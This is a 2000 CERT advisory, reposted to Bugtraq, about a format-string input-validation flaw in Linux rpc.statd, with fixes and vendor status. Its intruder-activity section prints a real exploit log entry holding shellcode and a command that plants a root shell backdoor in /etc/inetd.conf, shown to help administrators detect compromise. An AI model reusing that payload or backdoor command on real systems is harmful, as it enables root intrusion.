5376597 2000-08-19  02:48  /242 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12298>
Ärende: CERT Advisory CA-2000-17
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From: Aleph One <aleph1@UNDERGROUND.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20000818181842.B12548@underground.org>

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CERT Advisory CA-2000-17 Input Validation Problem in rpc.statd

   Original release date: August 18, 2000
   Source: CERT/CC

   A complete revision history is at the end of this file.

Systems Affected

     * Systems running the rpc.statd service

Overview

   The CERT/CC has begun receiving reports of an input validation
   vulnerability in the rpc.statd program being exploited. This
   program is included, and often installed by default, in several
   popular Linux distributions. Please see Appendix A of this
   document for specific information regarding affected distributions.

   More information about this vulnerability is available at the
   following public URLs:
     * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0666
     * http://www.securityfocus.com/bid/1480

I. Description

   The rpc.statd program passes user-supplied data to the syslog()
   function as a format string. If there is no input validation of
   this string, a malicious user can inject machine code to be
   executed with the privileges of the rpc.statd process, typically
   root.

Intruder Activity

   The following is an example log message from a compromised system
   illustrating the rpc.statd exploit occurring:

Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F ^F^G^G08049f10 bffff754 000028f8 4d5f4d53
72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63
696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000bffff7
0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v<83> <8D>^(
<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^
1<83>
<88>F'<88>F*<83> <88>F<89>F+,
<89><8D>N<8D>V<80>1<89>@<80>/bin
/sh -c echo 9704 stream tcp
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd

   If you see log entries similar to those above, we suggest you
   examine your system for signs of intrusion by following the steps
   outlined in our Intruder Detection Checklist. If you believe your
   host has been compromised, please follow our Steps for Recovering
   From a Root Compromise. Please check our Current Activity page for
   updates regarding intruder activity.

II. Impact

   By exploiting this vulnerability, local or remote users may be
   able to execute arbitrary code with the privileges of the
   rpc.statd process, typically root.

III. Solution

Upgrade your version of rpc.statd

   Please see Appendix A of this advisory for more information about
   the availability of program updates specific to your system. If
   you are running a vulnerable version of rpc.statd, the CERT/CC
   encourages you to apply appropriate vendor patches. After making
   any updates, be sure to restart the rpc.statd service.

Disable the rpc.statd service

   If an update cannot be applied, the CERT/CC recommends disabling
   the rpc.statd service. We advise proceeding with caution, however,
   as disabling this process can interfere with NFS functionality.

Block unneeded ports at your firewall

   As a good security practice in general, the CERT/CC recommends
   blocking unneeded ports at your firewall. This option does not
   remedy the vulnerability, but does prevent outside intruders from
   exploiting it. In particular, block port 111 (portmapper), as well
   as the port on which rpc.statd is running, which may vary.

Appendix A. Vendor Information

   This section contains information provided by vendors for this
   advisory. We will update this appendix as we receive more
   information.  If you do not see your vendor's name, the CERT/CC
   did not receive a response from that vendor. Please contact your
   vendor directly.

Berkeley Software Design, Inc. (BSDI)

   No versions of BSD/OS are vulnerable.

Caldera, Inc.

   Not vulnerable: None of our products ship with rpc.statd

Compaq

   At the time of writing this document, Compaq is currently
   investigating the potential impact to Compaq's rpc.statd service.
   Initial tests indicate it is not a potential vulnerability for
   Compaq supplied software.

   As further information becomes available Compaq will provide
   notice of the completion/availability of any necessary patches
   through AES services (DIA, DSNlink FLASH and posted to the
   Services WEB page) and be available from your normal Compaq
   Services Support channel.

Debian

   http://www.debian.org/security/2000/20000719a

FreeBSD

   FreeBSD is not vulnerable to this problem.

NetBSD

   NetBSD 1.4.x and NetBSD 1.5 do not appear to be affected by this
   problem; all calls to syslog() within rpc.statd take a constant
   string for the format argument.

OpenBSD

   *Linux* systems running the rpc.statd service!
   This affects noone else!

RedHat

   http://www.redhat.com/support/errata/RHSA-2000-043-03.html

Silicon Graphics, Inc.

   IRIX rpc.statd is not vulnerable to this security issue.
   _________________________________________________________________

   Authors: John Shaffer, Brian King
   ______________________________________________________________________

   This document is available from:
   http://www.cert.org/advisories/CA-2000-17.html
   ______________________________________________________________________

CERT/CC Contact Information

   Email: cert@cert.org
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.

   CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) /
   EDT(GMT-4) Monday through Friday; they are on call for emergencies
   during other hours, on U.S. holidays, and on weekends.

Using encryption

   We strongly urge you to encrypt sensitive information sent by
   email.  Our public PGP key is available from

   http://www.cert.org/CERT_PGP.key

   If you prefer to use DES, please call the CERT hotline for more
   information.

Getting security information

   CERT publications and other security information are available from
   our web site

   http://www.cert.org/

   To be added to our mailing list for advisories and bulletins, send
   email to cert-advisory-request@cert.org and include SUBSCRIBE
   your-email-address in the subject of your message.

   * "CERT" and "CERT Coordination Center" are registered in the U.S.
   Patent and Trademark Office.
   ______________________________________________________________________

   NO WARRANTY Any material furnished by Carnegie Mellon University
   and the Software Engineering Institute is furnished on an "as is"
   basis. Carnegie Mellon University makes no warranties of any kind,
   either expressed or implied as to any matter including, but not
   limited to, warranty of fitness for a particular purpose or
   merchantability, exclusivity or results obtained from use of the
   material. Carnegie Mellon University does not make any warranty of
   any kind with respect to freedom from patent, trademark, or
   copyright infringement.
   _________________________________________________________________

   Conditions for use, disclaimers, and sponsorship information

   Copyright 2000 Carnegie Mellon University.

   Revision History
   August 18, 2000:  Initial release












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